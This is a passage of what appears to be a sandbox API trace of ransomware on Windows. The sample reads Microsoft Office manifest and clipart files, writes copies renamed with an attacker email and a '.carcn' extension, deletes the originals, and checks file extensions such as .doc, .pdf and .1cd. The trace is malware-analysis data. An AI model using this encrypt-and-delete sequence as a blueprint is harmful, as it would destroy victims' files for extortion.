(lpString1=".1cd", lpString2=".xml") returned -1 [0182.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0182.165] lstrlenW (lpString=".jpg") returned 4 [0182.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.166] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.166] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0182.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0182.166] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0182.166] CloseHandle (hObject=0x31c) returned 1 [0182.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0182.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0182.166] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0182.166] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0182.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0182.167] GetLastError () returned 0x0 [0182.167] ReadFile (in: hFile=0x31c, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0182.278] WriteFile (in: hFile=0x308, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0182.279] ReadFile (in: hFile=0x31c, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0182.279] WriteFile (in: hFile=0x308, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.279] SetEndOfFile (hFile=0x308) returned 1 [0182.280] CloseHandle (hObject=0x308) returned 1 [0182.280] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0182.280] SetEndOfFile (hFile=0x31c) returned 1 [0182.281] CloseHandle (hObject=0x31c) returned 1 [0182.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.282] lstrlenW (lpString=".doc") returned 4 [0182.282] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString=".docx") returned 5 [0182.282] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.282] lstrlenW (lpString=".pdf") returned 4 [0182.282] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString=".xls") returned 4 [0182.282] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString=".xlsx") returned 5 [0182.282] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.282] lstrlenW (lpString=".ppt") returned 4 [0182.282] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.282] lstrlenW (lpString=".zip") returned 4 [0182.282] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.282] lstrlenW (lpString=".rar") returned 4 [0182.282] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString=".bz2") returned 4 [0182.282] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString=".7z") returned 3 [0182.282] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.282] lstrlenW (lpString=".dbf") returned 4 [0182.282] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.282] lstrlenW (lpString=".1cd") returned 4 [0182.282] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.283] lstrlenW (lpString=".jpg") returned 4 [0182.283] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.283] lstrlenW (lpString=".doc") returned 4 [0182.283] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString=".docx") returned 5 [0182.283] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.283] lstrlenW (lpString=".pdf") returned 4 [0182.283] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString=".xls") returned 4 [0182.283] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString=".xlsx") returned 5 [0182.283] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.283] lstrlenW (lpString=".ppt") returned 4 [0182.283] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.283] lstrlenW (lpString=".zip") returned 4 [0182.283] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.283] lstrlenW (lpString=".rar") returned 4 [0182.283] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString=".bz2") returned 4 [0182.283] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.283] lstrlenW (lpString=".7z") returned 3 [0182.283] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.283] lstrlenW (lpString=".dbf") returned 4 [0182.283] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.284] lstrlenW (lpString=".1cd") returned 4 [0182.284] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0182.284] lstrlenW (lpString=".jpg") returned 4 [0182.284] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.284] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.284] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0182.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0182.284] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0182.284] CloseHandle (hObject=0x31c) returned 1 [0182.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0182.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0182.285] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0182.285] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0182.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0182.285] GetLastError () returned 0x0 [0182.285] ReadFile (in: hFile=0x31c, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0183.383] WriteFile (in: hFile=0x308, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0183.384] ReadFile (in: hFile=0x31c, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0183.384] WriteFile (in: hFile=0x308, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0183.384] SetEndOfFile (hFile=0x308) returned 1 [0183.384] CloseHandle (hObject=0x308) returned 1 [0183.385] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0183.385] SetEndOfFile (hFile=0x31c) returned 1 [0183.386] CloseHandle (hObject=0x31c) returned 1 [0183.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0183.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0183.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString=".doc") returned 4 [0183.387] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString=".docx") returned 5 [0183.387] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0183.387] lstrlenW (lpString=".pdf") returned 4 [0183.387] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString=".xls") returned 4 [0183.387] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString=".xlsx") returned 5 [0183.387] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0183.387] lstrlenW (lpString=".ppt") returned 4 [0183.387] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString=".zip") returned 4 [0183.387] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.387] lstrlenW (lpString=".rar") returned 4 [0183.387] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString=".bz2") returned 4 [0183.387] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString=".7z") returned 3 [0183.387] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString=".dbf") returned 4 [0183.387] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString=".1cd") returned 4 [0183.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString=".jpg") returned 4 [0183.387] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.387] lstrlenW (lpString=".doc") returned 4 [0183.388] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString=".docx") returned 5 [0183.388] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0183.388] lstrlenW (lpString=".pdf") returned 4 [0183.388] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString=".xls") returned 4 [0183.388] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString=".xlsx") returned 5 [0183.388] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0183.388] lstrlenW (lpString=".ppt") returned 4 [0183.388] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.388] lstrlenW (lpString=".zip") returned 4 [0183.388] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.388] lstrlenW (lpString=".rar") returned 4 [0183.388] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString=".bz2") returned 4 [0183.388] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString=".7z") returned 3 [0183.388] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.388] lstrlenW (lpString=".dbf") returned 4 [0183.388] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.388] lstrlenW (lpString=".1cd") returned 4 [0183.388] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0183.388] lstrlenW (lpString=".jpg") returned 4 [0183.388] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.388] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0183.388] lstrlenW (lpString="AG00037_.GIF") returned 12 [0183.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0183.891] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=6684) returned 1 [0183.891] CloseHandle (hObject=0x394) returned 1 [0183.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0183.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0183.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0183.893] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0183.893] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0183.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.133] GetLastError () returned 0x0 [0184.133] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0184.229] WriteFile (in: hFile=0x374, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x1a20, lpOverlapped=0x0) returned 1 [0184.230] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.230] WriteFile (in: hFile=0x374, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.230] SetEndOfFile (hFile=0x374) returned 1 [0184.231] CloseHandle (hObject=0x374) returned 1 [0184.236] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.236] SetEndOfFile (hFile=0x364) returned 1 [0184.237] CloseHandle (hObject=0x364) returned 1 [0184.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0184.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.238] lstrlenW (lpString=".doc") returned 4 [0184.238] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.238] lstrlenW (lpString=".docx") returned 5 [0184.238] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.238] lstrlenW (lpString=".pdf") returned 4 [0184.238] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.238] lstrlenW (lpString=".xls") returned 4 [0184.238] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString=".xlsx") returned 5 [0184.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.239] lstrlenW (lpString=".ppt") returned 4 [0184.239] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.239] lstrlenW (lpString=".zip") returned 4 [0184.239] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString=".rar") returned 4 [0184.239] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString=".bz2") returned 4 [0184.239] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.239] lstrlenW (lpString=".7z") returned 3 [0184.239] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.239] lstrlenW (lpString=".dbf") returned 4 [0184.239] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.239] lstrlenW (lpString=".1cd") returned 4 [0184.239] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.239] lstrlenW (lpString=".jpg") returned 4 [0184.239] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.239] lstrlenW (lpString=".doc") returned 4 [0184.239] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.239] lstrlenW (lpString=".docx") returned 5 [0184.239] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.239] lstrlenW (lpString=".pdf") returned 4 [0184.239] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString=".xls") returned 4 [0184.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.239] lstrlenW (lpString=".xlsx") returned 5 [0184.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.240] lstrlenW (lpString=".ppt") returned 4 [0184.240] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0184.240] lstrlenW (lpString=".zip") returned 4 [0184.240] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.240] lstrlenW (lpString=".rar") returned 4 [0184.240] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.240] 